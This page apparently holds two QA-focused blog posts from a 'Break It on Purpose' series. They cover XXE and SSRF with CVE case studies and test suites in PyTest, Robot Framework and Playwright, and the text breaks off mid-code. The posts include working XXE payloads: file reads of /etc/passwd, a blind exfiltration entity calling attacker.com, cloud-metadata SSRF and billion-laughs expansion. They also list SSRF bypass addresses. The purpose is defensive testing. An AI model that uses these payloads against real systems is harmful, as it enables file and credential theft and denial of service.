Forem: Yuriy Safronnynov

XML External Entities (XXE)

Yuriy Safronnynov — Sun, 17 May 2026 14:00:00 +0000

Your application receives an XML file. It looks like a normal invoice, a configuration payload, a SOAP request, or a PDF. Your parser opens it.

Inside the XML is a DOCTYPE declaration that defines an external entity pointing to /etc/passwd. The parser resolves the entity, reads the file, and inserts the content into the parsed document. Your application returns a response that includes the contents of /etc/passwd.

The attacker has your system file. You have a perfect 200 OK in your test suite.

TL;DR

XXE lets an attacker embed a malicious XML entity inside a document or request your server parses. The parser fetches the entity, the attacker reads the result. No authentication required.
CVE-2025-66516 in Apache Tika scored CVSS 10.0. A crafted PDF containing malicious XFA content triggered XXE in tika-core, exposing sensitive files and enabling SSRF. Over 565 vulnerable instances exposed at time of disclosure. Fixed in tika-core 3.2.2.
Your test suite submits valid XML and asserts a correct response. It almost certainly never submits XML containing a DOCTYPE declaration with an external entity reference. That is the entire attack surface.
Fix requires disabling external entity resolution in the XML parser configuration, not in input validation. Sanitizing the XML string is not sufficient and will be bypassed.
AI tools generate tests that submit well-formed XML. They have no mechanism for generating malicious DOCTYPE payloads and no understanding of why those payloads matter.

What it is

XML External Entity injection (CWE-611) occurs when an application parses XML input that includes a DOCTYPE declaration defining an external entity reference, and the XML parser is configured to resolve those references.

An external entity tells the parser to fetch content from an external source: a file path, a URL, or a network resource. When the parser resolves the entity, it retrieves that content and substitutes it into the XML document. If the application returns any part of the parsed document in its response, the attacker receives the fetched content.

Developers introduce this because XML parsers in Java, Python, and most other languages enable external entity resolution by default as part of the XML specification. It is not a bug in the parser. It is a feature the parser exposes because the specification defines it and the developer never disabled it because they were focused on parsing valid XML, not on what happens when someone submits malicious XML.

What makes XXE particularly dangerous is the range of attack vectors that trigger it. Direct API requests containing XML are the obvious case, but XXE also appears in file upload endpoints that accept XML-based formats such as DOCX, XLSX, SVG, RSS, SOAP payloads, and PDF files containing XML Forms Architecture (XFA) content.

The attack can read arbitrary files the process has access to, perform SSRF by pointing the entity at internal network resources, and under certain parser configurations trigger denial of service via entity expansion attacks (the "billion laughs" variant).

Real world damage

CVE-2025-66516 · Apache Tika · December 2025 · CVSS 10.0 (Critical)

On December 4, 2025, the Apache Software Foundation disclosed a maximum-severity XXE vulnerability in Apache Tika — the widely used open-source content analysis toolkit that extracts text and metadata from over a thousand file types.

The vulnerability was triggered by submitting a PDF file containing a maliciously crafted XFA payload. When Tika parsed the PDF, the ore XML parser resolved the external entity references embedded in the XFA content without restriction, allowing an unauthenticated attacker to read sensitive files from the server's file system and perform SSRF by pointing entity references at internal network addresses.

Source: Apache Software Foundation security advisory and
NVD CVE-2025-66516 (nvd.nist.gov/vuln/detail/CVE-2025-66516).
Affected: tika-core 1.13 through 3.2.1. Fixed in tika-core 3.2.2.

The disclosure expanded the scope of a prior advisory, CVE-2025 54988 (CVSS 8.4), published in August 2025. Organizations that patched the tika-parser-pdf-module in response to the earlier advisory remained fully vulnerable because the actual fix required upgrading tika-core. This partial-patch scenario left hundreds of organizations exposed after believing they had remediated the issue. Censys observed 565 vulnerable instances exposed on the internet at time of disclosure.

A QA engineer running XXE payload tests against the document upload endpoint would have caught this. The test is not complex: submit a PDF containing a DOCTYPE declaration with an external entity reference and assert the server returns 400, or that the response body does not contain file system content. That test did not exist.

The invisible bug problem

Test suites for XML-processing endpoints submit well-formed, valid XML and assert correct parsing behavior. The schema is validated. The content is checked. The response is correct.

Nobody submits a DOCTYPE declaration, because nobody is writing tests from an attacker's perspective.

The XXE surface is invisible to a test suite that only generates input the feature was designed to accept. The attack requires input that is syntactically valid XML but semantically adversarial. Valid XML parsers accept DOCTYPE declarations. The feature works perfectly. The test passes.

The vulnerability is in the parser's willingness to resolve the entity and that behavior is never triggered by a test that submits a legitimate document.

How QA engineers catch it

The core principle: every endpoint that accepts XML input, regardless of format or file extension, must be tested with XXE payloads that attempt file system access, internal network access, and entity expansion. The assertion is not just that the response is incorrect — it is that the response does not contain file system content and that the parser did not make an outbound network request.

XXE payload reference

<!-- Basic file read — Linux -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

<!-- Basic file read — Windows -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>

<!-- SSRF via entity — AWS metadata -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>

<!-- Billion laughs — denial of service via entity expansion -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>

<!-- Parameter entity variant — blind XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
  %eval;
]>
<root><data>&exfil;</data></root>

PyTest

import pytest
import requests

BASE_URL = "https://your-app.com"

XXE_FILE_READ_LINUX = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>"""

XXE_FILE_READ_WINDOWS = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>"""

XXE_SSRF = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>"""

XXE_BILLION_LAUGHS = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>"""

FILE_SYSTEM_MARKERS = [
    "root:x:", "bin/bash", "bin/sh",
    "[extensions]", "boot loader",
    "ami-id", "instance-id", "security-credentials"
]

XXE_PAYLOADS = [
    ("file_read_linux", XXE_FILE_READ_LINUX, "application/xml"),
    ("file_read_windows", XXE_FILE_READ_WINDOWS, "application/xml"),
    ("ssrf_metadata", XXE_SSRF, "application/xml"),
    ("billion_laughs", XXE_BILLION_LAUGHS, "application/xml"),
]

@pytest.fixture
def auth_session():
    session = requests.Session()
    session.post(f"{BASE_URL}/login", json={
        "username": "testuser",
        "password": "test_password"
    })
    return session

@pytest.mark.parametrize("name,payload,content_type", XXE_PAYLOADS)
def test_xxe_payload_rejected(auth_session, name, payload, content_type):
    # CVE-2025-66516 pattern: parser must not resolve external entities
    response = auth_session.post(
        f"{BASE_URL}/api/parse-xml",
        data=payload,
        headers={"Content-Type": content_type}
    )
    assert response.status_code in [400, 403, 422], (
        f"XXE payload '{name}' not rejected — "
        f"returned {response.status_code}"
    )

@pytest.mark.parametrize("name,payload,content_type", XXE_PAYLOADS)
def test_xxe_no_file_system_content_in_response(auth_session, name, payload, content_type):
    # even a rejected request must not echo file system content
    response = auth_session.post(
        f"{BASE_URL}/api/parse-xml",
        data=payload,
        headers={"Content-Type": content_type}
    )
    body = response.text
    for marker in FILE_SYSTEM_MARKERS:
        assert marker not in body, (
            f"File system content '{marker}' found in response "
            f"for XXE payload '{name}'"
        )

def test_xxe_pdf_upload_with_xfa_payload(auth_session):
    # CVE-2025-66516: XFA content inside PDF triggers XXE in tika-core
    # construct a minimal PDF with embedded XXE in XFA stream
    xxe_xfa = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /AcroForm << /XFA 3 0 R >> >>
endobj
2 0 obj
<< /Type /Pages /Kids [] /Count 0 >>
endobj
3 0 obj
<< /Length 200 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<xfa:data xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<data>&xxe;</data>
</xfa:data>
endstream
endobj
xref
0 4
0000000000 65535 f
trailer << /Size 4 /Root 1 0 R >>
startxref
0
%%EOF"""

    response = auth_session.post(
        f"{BASE_URL}/api/upload-document",
        files={"file": ("test.pdf", xxe_xfa, "application/pdf")}
    )
    body = response.text
    for marker in FILE_SYSTEM_MARKERS:
        assert marker not in body, (
            f"File system content '{marker}' found in PDF/XFA XXE response"
        )

def test_valid_xml_still_parses_correctly(auth_session):
    # confirm XXE protection does not break legitimate XML processing
    valid_xml = """<?xml version="1.0" encoding="UTF-8"?>
<config>
  <setting name="timeout">30</setting>
  <setting name="retries">3</setting>
</config>"""

    response = auth_session.post(
        f"{BASE_URL}/api/parse-xml",
        data=valid_xml,
        headers={"Content-Type": "application/xml"}
    )
    assert response.status_code == 200

Robot Framework

*** Settings ***
Library    RequestsLibrary
Library    Collections
Library    OperatingSystem

*** Variables ***
${BASE_URL}    https://your-app.com

${XXE_FILE_READ}
...    <?xml version="1.0" encoding="UTF-8"?>
...    <!DOCTYPE foo [
...      <!ENTITY xxe SYSTEM "file:///etc/passwd">
...    ]>
...    <root><data>&xxe;</data></root>

${XXE_SSRF}
...    <?xml version="1.0" encoding="UTF-8"?>
...    <!DOCTYPE foo [
...      <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
...    ]>
...    <root><data>&xxe;</data></root>

${XXE_BILLION_LAUGHS}
...    <?xml version="1.0" encoding="UTF-8"?>
...    <!DOCTYPE lolz [
...      <!ENTITY lol "lol">
...      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
...      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
...    ]>
...    <root><data>&lol3;</data></root>

@{FILE_SYSTEM_MARKERS}
...    root:x:    bin/bash    bin/sh
...    [extensions]    ami-id    instance-id

*** Test Cases ***
XXE File Read Payload Must Be Rejected
    # CVE-2025-66516: external entity pointing to file system must not resolve
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    Content-Type=application/xml
    ${response}=    POST On Session    app    /api/parse-xml
    ...    data=${XXE_FILE_READ}    headers=${headers}    expected_status=any
    Should Be True    ${response.status_code} in [400, 403, 422]
    ...    msg=XXE file read payload not rejected
    FOR    ${marker}    IN    @{FILE_SYSTEM_MARKERS}
        Should Not Contain    ${response.text}    ${marker}
        ...    msg=File system content '${marker}' in XXE response
    END

XXE SSRF Payload Must Be Rejected
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    Content-Type=application/xml
    ${response}=    POST On Session    app    /api/parse-xml
    ...    data=${XXE_SSRF}    headers=${headers}    expected_status=any
    Should Be True    ${response.status_code} in [400, 403, 422]
    ...    msg=XXE SSRF payload not rejected
    FOR    ${marker}    IN    @{FILE_SYSTEM_MARKERS}
        Should Not Contain    ${response.text}    ${marker}
    END

XXE Billion Laughs Must Not Cause Timeout
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    Content-Type=application/xml
    ${response}=    POST On Session    app    /api/parse-xml
    ...    data=${XXE_BILLION_LAUGHS}    headers=${headers}
    ...    expected_status=any    timeout=10
    Should Be True    ${response.status_code} in [400, 403, 422]
    ...    msg=Billion laughs payload not rejected — possible DoS risk

Valid XML Still Parses Correctly
    # confirm protection does not break legitimate XML processing
    ${valid_xml}=    Set Variable
    ...    <?xml version="1.0"?><config><setting>30</setting></config>
    Create Session    app    ${BASE_URL}
    ${headers}=    Create Dictionary    Content-Type=application/xml
    ${response}=    POST On Session    app    /api/parse-xml
    ...    data=${valid_xml}    headers=${headers}
    Should Be Equal As Strings    ${response.status_code}    200

TypeScript — Playwright API testing

import { test, expect, APIRequestContext } from '@playwright/test';

const XXE_PAYLOADS = {
  fileReadLinux: `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>`,

  fileReadWindows: `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>`,

  ssrfMetadata: `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>`,

  billionLaughs: `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root><data>&lol4;</data></root>`,
};

const FILE_SYSTEM_MARKERS = [
  'root:x:', 'bin/bash', 'bin/sh',
  '[extensions]', 'boot loader',
  'ami-id', 'instance-id', 'security-credentials',
];

let apiContext: APIRequestContext;

test.beforeAll(async ({ playwright }) => {
  apiContext = await playwright.request.newContext({
    baseURL: 'https://your-app.com',
  });
  await apiContext.post('/login', {
    data: { username: 'testuser', password: 'test_password' }
  });
});

test.afterAll(async () => {
  await apiContext.dispose();
});

for (const [name, payload] of Object.entries(XXE_PAYLOADS)) {
  test(`XXE — ${name} payload rejected`, async () => {
    // CVE-2025-66516: external entity resolution must be disabled
    const response = await apiContext.post('/api/parse-xml', {
      data: payload,
      headers: { 'Content-Type': 'application/xml' },
    });

    expect(
      [400, 403, 422],
      `XXE payload '${name}' not rejected — returned ${response.status()}`
    ).toContain(response.status());
  });

  test(`XXE — ${name} produces no file system content`, async () => {
    const response = await apiContext.post('/api/parse-xml', {
      data: payload,
      headers: { 'Content-Type': 'application/xml' },
    });

    const body = await response.text();
    for (const marker of FILE_SYSTEM_MARKERS) {
      expect(
        body,
        `File system content '${marker}' found in response for '${name}'`
      ).not.toContain(marker);
    }
  });
}

test('XXE — PDF with XFA payload does not expose file content', async () => {
  // CVE-2025-66516 exact attack surface: XFA inside PDF triggers tika-core XXE
  const xfaPayload = Buffer.from(`%PDF-1.4
1 0 obj << /Type /Catalog /AcroForm << /XFA 2 0 R >> >> endobj
2 0 obj << /Length 180 >> stream
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<xfa:data xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<d>&xxe;</d>
</xfa:data>
endstream endobj
trailer << /Root 1 0 R >> %%EOF`);

  const response = await apiContext.post('/api/upload-document', {
    multipart: {
      file: {
        name: 'test.pdf',
        mimeType: 'application/pdf',
        buffer: xfaPayload,
      },
    },
  });

  const body = await response.text();
  for (const marker of FILE_SYSTEM_MARKERS) {
    expect(
      body,
      `File system content '${marker}' found in PDF/XFA XXE response`
    ).not.toContain(marker);
  }
});

test('XXE — billion laughs does not cause timeout', async () => {
  // entity expansion attack — parser must reject before memory exhaustion
  const response = await apiContext.post('/api/parse-xml', {
    data: XXE_PAYLOADS.billionLaughs,
    headers: { 'Content-Type': 'application/xml' },
    timeout: 10000,
  });

  expect(
    [400, 403, 422],
    'Billion laughs payload not rejected — possible DoS risk'
  ).toContain(response.status());
});

test('XXE — valid XML still parses correctly', async () => {
  // confirm protection does not break legitimate XML processing
  const validXml = `<?xml version="1.0" encoding="UTF-8"?>
<config>
  <setting name="timeout">30</setting>
  <setting name="retries">3</setting>
</config>`;

  const response = await apiContext.post('/api/parse-xml', {
    data: validXml,
    headers: { 'Content-Type': 'application/xml' },
  });

  expect(response.status()).toBe(200);
});

Run XXE tests in isolation:

npx playwright test --grep "XXE"

CI/CD gate

xxe-security-tests:
  stage: test
  script:
    - pytest tests/security/test_xxe.py -v
    - npx playwright test --grep "XXE"
  rules:
    - if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
  allow_failure: false

Pair with a Semgrep rule that flags XML parser instantiation without external entity disabling configuration applied. The static check catches new parser instantiations before deployment. The runtime tests confirm the configuration is actually in effect in the running application.

Environment note

XXE behavior changes between environments because file system content differs and because some server configurations restrict which files the process can read. In a Docker container running as a non-root user, the payload may resolve successfully but return empty content, which your test could incorrectly interpret as passing.

Assert on the absence of the error that would indicate resolution was blocked, not just on the absence of file content. Also test in your staging environment with the same XML parser versions your production Docker images contain. Parser versions within the same major version can have different default configurations depending on the distribution and build flags.

Practice this yourself: https://yuriysafron.com/qa-sandbox/xxe/

Why AI fails here

When a team asks GitHub Copilot to write tests for an XML processing endpoint, it generates tests that submit valid XML documents and assert that the parsed output is correct. The schema validates. The content is extracted. The response matches expectations.

Not one generated test contains a DOCTYPE declaration. Not one submits an entity reference.

The structural reason LLMs fail at XXE: the vulnerability is defined by a parser feature, not by application logic. To test for it, you need to know that XML parsers have external entity resolution, that this feature is enabled by default, that it is triggered by a DOCTYPE declaration in the input, and that the correct test submits that declaration and checks what the server does. This knowledge does not come from reading the application code. It comes from understanding the XML specification and the history of parser misconfigurations.

The concrete failure: a QA team builds an API that accepts XML configuration files for batch import. Copilot generates fifteen tests. Every test submits a valid configuration file. Every test passes. Three months later, a penetration tester submits a configuration file whose first line defines an external entity pointing to the application's environment file. The response body contains the database connection string. The Copilot suite had fifteen tests for the XML endpoint. None contained a DOCTYPE. The XXE surface had been there since day one.

How to prevent

1. Explicit external entity disabling in every parser instantiation — in Java, set the features http://xml.org/sax/features/external-general-entities and http://xml.org/sax/features/external-parameter-entities to false, and disable DOCTYPE declarations entirely with http://apache.org/xml/features/disallow-doctype-decl set to true. In Python, use defusedxml as a drop-in replacement for the standard library's xml module. Use a hardened shared parser factory so individual developers cannot instantiate a default parser without the configuration applied.

2. Parser version audit in your dependency pipeline — the Apache Tika CVE-2025-66516 case demonstrated that partial upgrades leave organizations vulnerable when the fix resides in a shared core module. Every dependency that processes XML-based formats, including libraries handling PDF, DOCX, XLSX, SVG, RSS, and SOAP, must be included in your dependency audit. Tools like GitHub Dependabot, Snyk, or OWASP Dependency-Check integrated into GitLab CI surface vulnerable transitive dependencies before they reach production.

3. Content-type and format enforcement before parsing — reject any request whose content does not match the expected format before passing it to the parser. This eliminates a large class of direct XML injection attacks where an attacker submits a raw XML payload to an endpoint that expects a binary format.

Prevention only works when your test suite actively verifies that external entity resolution is disabled under adversarial payloads. A parser configured correctly in code can have its configuration overridden by a library update, a framework default, or a developer who does not understand why the configuration exists. The XXE payload tests are the enforcement mechanism.

Conclusion

Working on a cybersecurity platform protecting U.S. critical infrastructure and multiple branches of the U.S. military gives you a direct view of what document parsing vulnerabilities mean at scale. In those environments, a file upload endpoint that processes XML is not a minor feature. It is a potential entry point into internal network infrastructure.

XXE sits in the category of vulnerabilities that are entirely invisible to functional test coverage and entirely obvious once you know what payload to submit.

The gap between "this endpoint parses XML correctly" and "this endpoint refuses to resolve external entities" is a single parser configuration line. The test suite is the only thing that tells you whether that line is there.

When did your team last verify that every XML parser in your codebase has external entity resolution explicitly disabled — and do you have a test that would catch a new parser instantiation that ships without that configuration?

Part of the Break It on Purpose series — published weekly for QA
engineers and SDETs who find bugs before attackers do.

Practice sandbox: yuriysafron.com/qa-sandbox
LinkedIn: linkedin.com/in/yuriysafronnynov

Server-Side Request Forgery (SSRF)

Yuriy Safronnynov — Mon, 04 May 2026 01:15:00 +0000

Your application fetches a URL. The user supplied it. Your server makes the request, follows the redirect, and returns the content.

The URL pointed to http://169.254.169.254/latest/metadata/iam/security-credentials/production-role.

Your application just handed the attacker your cloud credentials.

TL;DR

SSRF lets an attacker trick your server into making requests on their behalf — to internal services, cloud metadata endpoints, or infrastructure never meant to be reachable from the outside.
CVE-2024-29415 in the npm ip package allowed attackers to bypass SSRF protections using non-standard IP representations that isPublic() incorrectly classified as safe. CVSS 8.1 High.
Your suite almost certainly validates that your URL-fetchin feature works. It does not validate that it refuses to fetch http://169.254.169.254/latest/meta-data/ or http://127.1/admin.
Fix requires an allowlist of permitted destinations, not a blocklist. Blocklists fail because IP representations are infinite. Allowlists fail only if you misconfigure them.
AI-generated tests submit valid URLs and assert correct responses. They never submit internal service addresses. The SSRF surface stays untouched.

What it is

Server-Side Request Forgery (CWE-918, OWASP A10:2021) occurs when an application fetches a remote resource based on a URL supplied by the user without sufficiently validating that the destination is permitted.

The server makes the request with its own credentials and network position. In cloud environments, this means access to the instance metadata service, internal VPC services, Kubernetes API servers, Redis instances — any resource reachable from the server's network context but not from the public internet.

The attacker's HTTP request never touches those services directly. The server makes the request for them.

Developers introduce SSRF when building legitimately useful features: URL preview generation, webhook delivery, import from external URLs, image fetching from user-supplied sources. A developer adds a check to ensure the target is not a private IP address. The check uses a library function. The library function has edge cases the developer never tested. The feature ships, all happy-path tests pass, and the SSRF surface exists silently in production.

What makes SSRF particularly dangerous in cloud and microservices environments is the blast radius. A single vulnerability in one service can expose credentials for the entire cloud account, enable lateral movement to internal APIs, allow enumeration of the internal network topology, and provide an unauthenticated entry point to services that assume they are only reachable from trusted internal callers.

Real world damage

CVE-2024-29415 · npm ip package · May 2024 · CVSS 8.1 (High)

In May 2024, an SSRF vulnerability was published for the ip npm package — a widely used Node.js library for IP address manipulation and validation. The isPublic() function, intended to identify whether an IP address is globally routable, incorrectly classified several non-standard representations as public when they actually resolved to loopback or private addresses.

Representations including 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1 all passed the isPublic() check — meaning applications relying on this function to block SSRF requests would silently allow connections to localhost and private network services.

Source: GitHub Advisory GHSA-2p57-rm9w-gvfp and NVD CVE-2024-29415 (nvd.nist.gov/vuln/detail/CVE-2024-29415). Affected versions: ip through 2.0.1.

In a cloud environment, a request to http://127.1/latest/meta data/ on an AWS EC2 instance routes to the same metadata service as http://169.254.169.254/latest/meta-data/ — potentially exposing IAM credentials. A QA engineer running SSRF payload tests with non-standard IP representations would have caught this. No such tests existed in the pipelines of applications that trusted the ip package for SSRF protection.

The invisible bug problem

Test suites for URL-fetching features test that the feature fetches URLs correctly. They submit a valid external URL, assert a 200 response, and check that content was returned as expected.

Nobody submits http://127.0.0.1/admin, http://169.254.169.254/latest/meta-data/, or http://127.1/config.

The SSRF protection layer is never exercised because all test inputs are exactly what the protection was never designed to reject. The happy path never touches the validation logic from the adversarial direction.

SSRF lives entirely in the space between "what valid input looks like" and "what an attacker would actually submit" — and that space is never covered by tests written by someone thinking about how the feature works rather than how it breaks.

How QA engineers catch it

The core principle: every endpoint that accepts a URL, hostname, or IP address from user input must be tested with a systematic list of SSRF payloads targeting internal and cloud metadata addresses. Not just valid external URLs. Specifically adversarial inputs designed to reach private infrastructure.

SSRF payload reference

# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/                    # AWS
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/         # GCP
http://169.254.169.254/metadata/instance                    # Azure

# Localhost variants
http://127.0.0.1/
http://localhost/
http://0.0.0.0/

# Non-standard representations — bypass naive isPublic() checks
http://127.1/                    # CVE-2024-29415 bypass
http://0x7f000001/               # hexadecimal
http://2130706433/               # decimal
http://012.0.0.1/                # octal

# Internal network ranges
http://192.168.1.1/
http://10.0.0.1/
http://172.16.0.1/

PyTest

import pytest
import requests

BASE_URL = "https://your-app.com"

SSRF_PAYLOADS = [
    # cloud metadata
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://metadata.google.internal/computeMetadata/v1/",
    "http://169.254.169.254/metadata/instance",
    # localhost variants
    "http://127.0.0.1/",
    "http://localhost/",
    "http://0.0.0.0/",
    # CVE-2024-29415 bypass patterns — non-standard representations
    "http://127.1/",
    "http://0x7f000001/",
    "http://2130706433/",
    "http://012.0.0.1/",
    # internal network ranges
    "http://192.168.1.1/",
    "http://10.0.0.1/",
    "http://172.16.0.1/",
]

METADATA_MARKERS = [
    "ami-id", "instance-id", "computeMetadata",
    "access_key", "secret_access_key", "security-credentials"
]

@pytest.fixture
def auth_session():
    session = requests.Session()
    session.post(f"{BASE_URL}/login", json={
        "username": "testuser",
        "password": "test_password"
    })
    return session

@pytest.mark.parametrize("payload", SSRF_PAYLOADS)
def test_ssrf_payload_rejected(auth_session, payload):
    # every internal/cloud address must be rejected — never 200
    response = auth_session.post(
        f"{BASE_URL}/api/fetch-url",
        json={"url": payload}
    )
    assert response.status_code in [400, 403, 422], (
        f"SSRF payload not rejected: {payload} "
        f"returned {response.status_code}"
    )

@pytest.mark.parametrize("payload", SSRF_PAYLOADS)
def test_ssrf_no_internal_content_in_response(auth_session, payload):
    # even if rejected with wrong status, body must not contain metadata
    response = auth_session.post(
        f"{BASE_URL}/api/fetch-url",
        json={"url": payload}
    )
    body = response.text
    for marker in METADATA_MARKERS:
        assert marker not in body, (
            f"Internal service content '{marker}' found in response "
            f"for payload: {payload}"
        )

def test_ssrf_non_standard_ip_representations(auth_session):
    # CVE-2024-29415: isPublic() bypass via non-standard IP formats
    bypass_payloads = [
        "http://127.1/",
        "http://0x7f000001/",
        "http://2130706433/",
        "http://012.0.0.1/",
    ]
    for payload in bypass_payloads:
        response = auth_session.post(
            f"{BASE_URL}/api/fetch-url",
            json={"url": payload}
        )
        assert response.status_code in [400, 403, 422], (
            f"Non-standard IP bypass not blocked: {payload}"
        )

def test_ssrf_valid_external_url_still_works(auth_session):
    # confirm SSRF protection does not break legitimate requests
    response = auth_session.post(
        f"{BASE_URL}/api/fetch-url",
        json={"url": "https://httpbin.org/get"}
    )
    assert response.status_code == 200

Robot Framework

*** Settings ***
Library    RequestsLibrary
Library    Collections

*** Variables ***
${BASE_URL}    https://your-app.com

@{CLOUD_METADATA}
...    http://169.254.169.254/latest/meta-data/
...    http://169.254.169.254/latest/meta-data/iam/security-credentials/
...    http://metadata.google.internal/computeMetadata/v1/
...    http://169.254.169.254/metadata/instance

@{LOCALHOST_VARIANTS}
...    http://127.0.0.1/
...    http://localhost/
...    http://0.0.0.0/

@{CVE_2024_29415_BYPASSES}
...    http://127.1/
...    http://0x7f000001/
...    http://2130706433/
...    http://012.0.0.1/

@{INTERNAL_RANGES}
...    http://192.168.1.1/
...    http://10.0.0.1/
...    http://172.16.0.1/

@{METADATA_MARKERS}
...    ami-id    instance-id    computeMetadata
...    access_key    secret_access_key    security-credentials

*** Test Cases ***
SSRF Cloud Metadata Endpoints Must Be Rejected
    Create Session    app    ${BASE_URL}
    FOR    ${payload}    IN    @{CLOUD_METADATA}
        ${response}=    POST On Session    app    /api/fetch-url
        ...    json={"url": "${payload}"}    expected_status=any
        Should Be True    ${response.status_code} in [400, 403, 422]
        ...    msg=Cloud metadata payload not rejected: ${payload}
        FOR    ${marker}    IN    @{METADATA_MARKERS}
            Should Not Contain    ${response.text}    ${marker}
        END
    END

SSRF Localhost Variants Must Be Rejected
    Create Session    app    ${BASE_URL}
    FOR    ${payload}    IN    @{LOCALHOST_VARIANTS}
        ${response}=    POST On Session    app    /api/fetch-url
        ...    json={"url": "${payload}"}    expected_status=any
        Should Be True    ${response.status_code} in [400, 403, 422]
        ...    msg=Localhost variant not rejected: ${payload}
    END

SSRF CVE-2024-29415 Bypass Representations Must Be Rejected
    # non-standard IP formats that bypass naive isPublic() checks
    Create Session    app    ${BASE_URL}
    FOR    ${payload}    IN    @{CVE_2024_29415_BYPASSES}
        ${response}=    POST On Session    app    /api/fetch-url
        ...    json={"url": "${payload}"}    expected_status=any
        Should Be True    ${response.status_code} in [400, 403, 422]
        ...    msg=CVE-2024-29415 bypass not blocked: ${payload}
    END

SSRF Internal Network Ranges Must Be Rejected
    Create Session    app    ${BASE_URL}
    FOR    ${payload}    IN    @{INTERNAL_RANGES}
        ${response}=    POST On Session    app    /api/fetch-url
        ...    json={"url": "${payload}"}    expected_status=any
        Should Be True    ${response.status_code} in [400, 403, 422]
        ...    msg=Internal range not rejected: ${payload}
    END

SSRF Valid External URL Still Works
    # confirm protection does not break legitimate requests
    Create Session    app    ${BASE_URL}
    ${response}=    POST On Session    app    /api/fetch-url
    ...    json={"url": "https://httpbin.org/get"}
    Should Be Equal As Strings    ${response.status_code}    200

TypeScript — Playwright API testing

import { test, expect, APIRequestContext } from '@playwright/test';

const SSRF_PAYLOADS = {
  cloudMetadata: [
    'http://169.254.169.254/latest/meta-data/',
    'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
    'http://metadata.google.internal/computeMetadata/v1/',
    'http://169.254.169.254/metadata/instance',
  ],
  localhostVariants: [
    'http://127.0.0.1/',
    'http://localhost/',
    'http://0.0.0.0/',
  ],
  // CVE-2024-29415: non-standard representations bypass isPublic()
  cve202429415Bypasses: [
    'http://127.1/',
    'http://0x7f000001/',
    'http://2130706433/',
    'http://012.0.0.1/',
  ],
  internalRanges: [
    'http://192.168.1.1/',
    'http://10.0.0.1/',
    'http://172.16.0.1/',
  ],
};

const METADATA_MARKERS = [
